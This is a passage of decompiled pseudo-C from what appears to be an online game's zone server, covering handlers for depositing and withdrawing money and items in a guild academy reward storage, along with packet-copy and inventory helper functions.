"ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S4_4 & 1) == 0; v6 = gpp.pp_Buffer; v26 = 0; *(_WORD *)gpp.pp_Buffer = 12336; if ( v5 ) { _S4_4 |= 1u; cmc_36.cmc_AllowMode = 70; atexit(_E5_20); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_36.cmc_AllowMode) ) { *((_WORD *)v6 + 5) = 6114; LABEL_5: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { *((_WORD *)v6 + 5) = 6113; goto LABEL_5; } v8 = netcmd; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) != 1 ) goto LABEL_16; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2048))(v4); } else { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); } netcmd = v9; LABEL_16: v10 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2016))(v4); v11 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, netcmd, v10); if ( !v11 ) { *((_WORD *)v6 + 5) = 6115; LABEL_18: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"); return; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4) ) { *((_WORD *)v6 + 5) = 6117; goto LABEL_18; } if ( *(_DWORD *)(v8 + 6) || *(_DWORD *)(v8 + 2) ) { if ( *(_QWORD *)(v8 + 2) > GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v11) ) *(_QWORD *)(v8 + 2) = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v11); if ( *(_QWORD *)(v8 + 2) ) { v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v16 = *(_DWORD *)v15; v17 = (*(int (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 1916))( v4, *(_DWORD *)(v8 + 2), *(_DWORD *)(v8 + 6), 1); LOWORD(v18) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v17); (*(void (__thiscall **)(int, int))(v16 + 56))(v15, v18); v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13445; *((_DWORD *)v19 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v20 = *((_WORD *)v4 + 2); *(_DWORD *)(v19 + 10) = netcmd; *((_WORD *)v19 + 1) = v20; *(_DWORD *)(v19 + 14) = *(_DWORD *)(v8 + 2); *(_DWORD *)(v19 + 18) = *(_DWORD *)(v8 + 6); v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); *((_WORD *)v19 + 4) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v21); v22 = ProtocolPacket::pp_SetPacketLen(&gpp, 22); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v22, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ : Packet Too Long", 22) ) { v23 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v23); } v24 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); InventoryLocking::InventoryCellLock::icl_IncIndex(v24); } else { *((_WORD *)v6 + 5) = 6116; v13 = ProtocolPacket::pp_SetPacketLen(&gpp, 12); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v13, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12) ) { v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v4, &gpp); } } } v26 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0044CA00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ(void *this, unsigned int netcmd, int nGuildNo, __int16 handle) { void *v4; // esi@1 bool v5; // zf@1 char *v6; // edi@1 int v7; // eax@9 unsigned int v8; // ebx@10 int v9; // eax@11 unsigned __int16 *v10; // eax@15 unsigned __int64 v11; // qax@19 int v12; // edx@20 int v13; // eax@23 int v14; // edi@24 int v15; // eax@24 int v16; // eax@24 char *v17; // edi@24 int v18; // eax@24 ZoneBaseSession *v19; // eax@26 InventoryLocking::InventoryCellLock *v20; // eax@27 char *v21; // [sp-4h] [bp-28h]@6 int v22; // [sp+1Ch] [bp-8h]@0 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S6_62 & 1) == 0; v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12338; if ( v5 ) { _S6_62 |= 1u; cmc_37.cmc_AllowMode = 70; atexit(_E7_38); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_37.cmc_AllowMode) ) { *((_WORD *)v6 + 5) = 6562; goto LABEL_5; } if ( !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { v8 = netcmd; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) != 1 ) goto LABEL_15; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2048))(v4); } else { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); } netcmd = v9; LABEL_15: v10 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2016))(v4); if ( GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, netcmd, v10) ) { LODWORD(v11) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1056))(v4); if ( *(_QWORD *)(v8 + 2) > v11 ) { *(_DWORD *)(v8 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1056))(v4); *(_DWORD *)(v8 + 6) = v12; } if ( *(_QWORD *)(v8 + 2) ) { v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v15 = (*(int (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 1916))( v4, *(_DWORD *)(v8 + 2), *(_DWORD *)(v8 + 6), -1); LOWORD(v16) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v15); (*(void (__thiscall **)(int, int))(v22 + 56))(v14, v16); v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13447; *((_DWORD *)v17 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v17 + 1) = *((_WORD *)v4 + 2); *(_DWORD *)(v17 + 10) = netcmd; *(_DWORD *)(v17 + 14) = *(_DWORD *)(v8 + 2); *(_DWORD *)(v17 + 18) = *(_DWORD *)(v8 + 6); v18 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); *((_WORD *)v17 + 4) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v18); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v19 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v19); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ : Packet Too Long", 22); } v20 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); InventoryLocking::InventoryCellLock::icl_IncIndex(v20); goto LABEL_28; } *((_WORD *)v6 + 5) = 6564; } else { *((_WORD *)v6 + 5) = 6563; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ : Packet Too Long", 12); } LABEL_28: v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"; goto LABEL_29; } *((_WORD *)v6 + 5) = 6561; LABEL_5: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ : Packet Too Long", 12); v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"; } LABEL_29: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); } //----- (0044CD00) -------------------------------------------------------- int __thiscall Name4::operator__(Name4 *this, Name4 *nm) { return *(_DWORD *)&this->n4_name[0] != *(_DWORD *)&nm->n4_name[0] || *(_DWORD *)&this->n4_name[4] != *(_DWORD *)&nm->n4_name[4] || *(_DWORD *)&this->n4_name[8] != *(_DWORD *)&nm->n4_name[8] || *(_DWORD *)&this->n4_name[12] != *(_DWORD *)&nm->n4_name[12]; } //----- (0044CD30) -------------------------------------------------------- unsigned int __thiscall ItemInventoryCell::iic_ItemLot(ItemInventoryCell *this) { return ((int (__stdcall *)(_DWORD))this->iic_AttrProc->vfptr->iac_GetLot)(&this->iic_Item.iti_itemstruct); } //----- (0044CD40) -------------------------------------------------------- void __thiscall ItemInventoryCell::iic_ItemLot(ItemInventoryCell *this, unsigned int lot) { ((void (__stdcall *)(_DWORD, _DWORD))this->iic_AttrProc->vfptr->iac_SetLot)(&this->iic_Item.iti_itemstruct, lot); } //----- (0044CD60) -------------------------------------------------------- char __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned int guild) { return this->garse_Guild == guild; } //----- (0044CD70) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v1; // esi@1 v1 = this; ItemGuildAcademyRewardStorage::ItemGuildAcademyRewardStorage(&this->garse_Storage); v1->garse_Guild = 0; } //----- (0044CD90) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned int gld) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v2; // esi@1 v2 = this; ItemGuildAcademyRewardStorage::ItemGuildAcademyRewardStorage(&this->garse_Storage); v2->garse_Guild = gld; } //----- (0044CDC0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_Deactivate(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this) { this->garse_Activate = 0; } //----- (0044CDD0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetActivate(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this) { this->garse_Activate = 1; } //----- (0044CE00) -------------------------------------------------------- #error "44CE00: undefined or illegal type '#440' (funcsize=76)" //----- (0044CEE0) -------------------------------------------------------- unsigned __int64 __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this) { return this->garse_Cen; } //----- (0044CEF0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetMoney(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned __int64 set_cen) { this->garse_Cen = set_cen; } //----- (0044CF10) -------------------------------------------------------- int __thiscall PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_BYTE *)(this + 11) = *(_BYTE *)(a2 + 11); *(_BYTE *)(this + 12) = *(_BYTE *)(a2 + 12); *(_BYTE *)(this + 13) = *(_BYTE *)(a2 + 13); *(_BYTE *)(this + 14) = *(_BYTE *)(a2 + 14); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_WORD *)(this + 31) = *(_WORD *)(a2 + 31); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_DWORD *)(this + 37) = *(_DWORD *)(a2 + 37); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_DWORD *)(this + 37) = *(_DWORD *)(a2 + 37); *(_DWORD *)(this + 41) = *(_DWORD *)(a2 + 41); *(_DWORD *)(this + 45) = *(_DWORD *)(a2 + 45); return result; } //----- (0044CFA0) -------------------------------------------------------- char __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SlotInfoCheck(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, SHINE_INVEN_SLOT_INFO slotinfo) { int v2; // eax@1 char result; // al@2 v2 = ((int (__stdcall *)(_DWORD))this->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell)(slotinfo.inven.Inven & 0x3FF); if ( v2 && *(_DWORD *)&slotinfo == *(_DWORD *)v2 && slotinfo.ItmeReg.binary._bf4 == *(_DWORD *)(v2 + 4) && *(_WORD *)(v2 + 8) == slotinfo.ItemID ) result = (*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)(v2 + 112) + 24))(*(_DWORD *)(v2 + 112), v2 + 8) == slotinfo.Lot; else result = 0; return result; } //----- (0044CFF0) -------------------------------------------------------- int __thiscall PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_BYTE *)(this + 11) = *(_BYTE *)(a2 + 11); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_BYTE *)(this + 28) = *(_BYTE *)(a2 + 28); *(_DWORD *)(this + 29) = *(_DWORD *)(a2 + 29); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_DWORD *)(this + 37) = *(_DWORD *)(a2 + 37); *(_DWORD *)(this + 41) = *(_DWORD *)(a2 + 41); *(_DWORD *)(this + 45) = *(_DWORD *)(a2 + 45); *(_DWORD *)(this + 49) = *(_DWORD *)(a2 + 49); *(_DWORD *)(this + 53) = *(_DWORD *)(a2 + 53); *(_DWORD *)(this + 57) = *(_DWORD *)(a2 + 57); memcpy((void *)(this + 61), (const void *)(a2 + 61), 0x6Fu); return result; } //----- (0044D090) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewordSrorageItemInfoCmd(void *this, int iteminfo, char type) { void *v3; // esi@1 char v4; // dl@3 char v5; // cl@3 int v6; // edx@3 int v7; // ecx@3 int v8; // edx@3 int v9; // ecx@3 int v10; // edx@3 int v11; // ecx@3 int v12; // edx@3 int v13; // eax@3 int v14; // eax@5 char v15; // cl@7 char v16; // dl@7 int v17; // ecx@7 int v18; // edx@7 int v19; // ecx@7 int v20; // edx@7 int v21; // ecx@7 int v22; // edx@7 int v23; // ecx@7 int v24; // edx@7 int *DepositPacket; // [sp+4h] [bp-58h]@3 int v26; // [sp+8h] [bp-54h]@3 int v27; // [sp+Ch] [bp-50h]@3 int DepositPacketBuffer; // [sp+10h] [bp-4Ch]@3 int v29; // [sp+14h] [bp-48h]@3 int v30; // [sp+18h] [bp-44h]@3 int v31; // [sp+1Ch] [bp-40h]@3 int v32; // [sp+20h] [bp-3Ch]@3 __int16 v33; // [sp+24h] [bp-38h]@3 char v34; // [sp+26h] [bp-36h]@3 int v35; // [sp+27h] [bp-35h]@3 int v36; // [sp+2Bh] [bp-31h]@3 int v37; // [sp+2Fh] [bp-2Dh]@3 int v38; // [sp+33h] [bp-29h]@3 v3 = this; if ( iteminfo ) { if ( type ) { if ( type != 1 ) return; LOWORD(DepositPacketBuffer) = DepositPacketBuffer & 0x3FF | 0x9800; v15 = *(_BYTE *)iteminfo; DepositPacket = &DepositPacketBuffer; LOWORD(DepositPacketBuffer) = DepositPacketBuffer & 0xFC75 | 0x75; v16 = *(_BYTE *)(iteminfo + 1); BYTE2(DepositPacketBuffer) = v15; v17 = *(_DWORD *)(iteminfo + 2); BYTE3(DepositPacketBuffer) = v16; v18 = *(_DWORD *)(iteminfo + 6); v29 = v17; v19 = *(_DWORD *)(iteminfo + 10); v30 = v18; v20 = *(_DWORD *)(iteminfo + 14); v31 = v19; LOWORD(v19) = *(_WORD *)(iteminfo + 18); v32 = v20; LOBYTE(v20) = *(_BYTE *)(iteminfo + 20); v33 = v19; v21 = *(_DWORD *)(iteminfo + 21); v34 = v20; v22 = *(_DWORD *)(iteminfo + 25); v35 = v21; v23 = *(_DWORD *)(iteminfo + 29); v36 = v22; v24 = *(_DWORD *)(iteminfo + 33); v37 = v23; v27 = 0; v26 = 69; v38 = v24; if ( !ProtocolPacket::pp_SetPacketLen((ProtocolPacket *)&DepositPacket, 39) ) goto LABEL_4; v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); } else { LOWORD(DepositPacketBuffer) = DepositPacketBuffer & 0x3FF | 0x9800; v4 = *(_BYTE *)iteminfo; DepositPacket = &DepositPacketBuffer; LOWORD(DepositPacketBuffer) = DepositPacketBuffer & 0xFC73 | 0x73; v5 = *(_BYTE *)(iteminfo + 1); BYTE2(DepositPacketBuffer) = v4; v6 = *(_DWORD *)(iteminfo + 2); BYTE3(DepositPacketBuffer) = v5; v7 = *(_DWORD *)(iteminfo + 6); v29 = v6; v8 = *(_DWORD *)(iteminfo + 10); v30 = v7; v9 = *(_DWORD *)(iteminfo + 14); v31 = v8; LOWORD(v8) = *(_WORD *)(iteminfo + 18); v32 = v9; LOBYTE(v9) = *(_BYTE *)(iteminfo + 20); v33 = v8; v10 = *(_DWORD *)(iteminfo + 21); v34 = v9; v11 = *(_DWORD *)(iteminfo + 25); v35 = v10; v12 = *(_DWORD *)(iteminfo + 29); v13 = *(_DWORD *)(iteminfo + 33); v36 = v11; v27 = 0; v26 = 69; v37 = v12; v38 = v13; if ( !ProtocolPacket::pp_SetPacketLen((ProtocolPacket *)&DepositPacket, 39) ) { LABEL_4: AssertClass::ac_AssertFail( &shineassert, "ShineGuildAcademyRewardStorageItemInfoZonRng::lid_Call : Packet Too Long", 39); return; } v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); } (*(void (__thiscall **)(int, void *, int **))(*(_DWORD *)v14 + 12))(v14, v3, &DepositPacket); } } //----- (0044D270) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5A427C: using guessed type int (__stdcall *List_GuildAcademyRewardStorage__GuildAcademyRewardStorageElement____vftable_[3])(__int16 hnd); //----- (0044D290) -------------------------------------------------------- void __thiscall ItemTotalInformation::iti_clear(ItemTotalInformation *this) { *(_DWORD *)&this->iti_registnum.binary.gap0[0] = -1; this->iti_registnum.binary._bf4 = -1; memset(&this->iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&this->iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(this->iti_itemstruct.itemattr.binditem.portal[9].y) = 0; this->iti_itemstruct.itemid = -1; } //----- (0044D2C0) -------------------------------------------------------- void __thiscall ItemInventoryCell::iic_Clear(ItemInventoryCell *this) { *(_DWORD *)&this->iic_Item.iti_registnum.binary.gap0[0] = -1; this->iic_Item.iti_registnum.binary._bf4 = -1; memset(&this->iic_Item.iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&this->iic_Item.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(this->iic_Item.iti_itemstruct.itemattr.binditem.portal[9].y) = 0; this->iic_Item.iti_itemstruct.itemid = -1; this->iic_AttrProc = (ItemAttributeClass *)&itmattcontainer; } //----- (0044D2F0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::_GuildAcademyRewardStorageManager(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->garsm_StorageArray, 0x20B8u, 500, (void (__thiscall *)(void *))GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::_GuildAcademyRewardStorageElement); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5A427C: using guessed type int (__stdcall *List_GuildAcademyRewardStorage__GuildAcademyRewardStorageElement____vftable_[3])(__int16 hnd); //----- (0044D360) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError(void *this, __int16 err) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26514; *((_WORD *)v3 + 1) = err; v3[12] = 0; *((_DWORD *)v3 + 1) = 0; *((_DWORD *)v3 + 2) = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError : Packet Too Long", 13); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError"); } //----- (0044D450) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v2; // esi@1 int v3; // eax@4 int v4; // edi@4 int v5; // edx@5 int v6; // edi@6 int v7; // eax@6 int v8; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ring->type == 2 ) v2->garse_Cen = ring->storage_cen; if ( ring->type == 1 ) { v3 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); v4 = (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v3 + 112) + 24))(v3 + 8); if ( (unsigned int)v4 > ring->___u8.lot ) { v6 = v4 - LODWORD(ring->___u8.lot); v7 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); (*(void (__stdcall **)(_DWORD, _DWORD))(**(_DWORD **)(v7 + 112) + 28))(v7 + 8, v6); } else { v5 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); *(_DWORD *)v5 = -1; *(_DWORD *)(v5 + 4) = -1; memset((void *)(v5 + 8), 0, 0x64u); *(_WORD *)(v5 + 108) = 0; *(_BYTE *)(v5 + 110) = 0; *(_WORD *)(v5 + 8) = -1; *(_DWORD *)(v5 + 112) = &itmattcontainer; } } if ( !ring->type ) { v8 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); *(_DWORD *)v8 = -1; *(_DWORD *)(v8 + 4) = -1; memset((void *)(v8 + 8), 0, 0x64u); *(_WORD *)(v8 + 108) = 0; *(_BYTE *)(v8 + 110) = 0; *(_WORD *)(v8 + 8) = -1; *(_DWORD *)(v8 + 112) = &itmattcontainer; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther"); } //----- (0044D5C0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v2; // esi@1 int v3; // edx@2 int v4; // ebx@2 int v5; // ecx@2 int v6; // eax@4 int 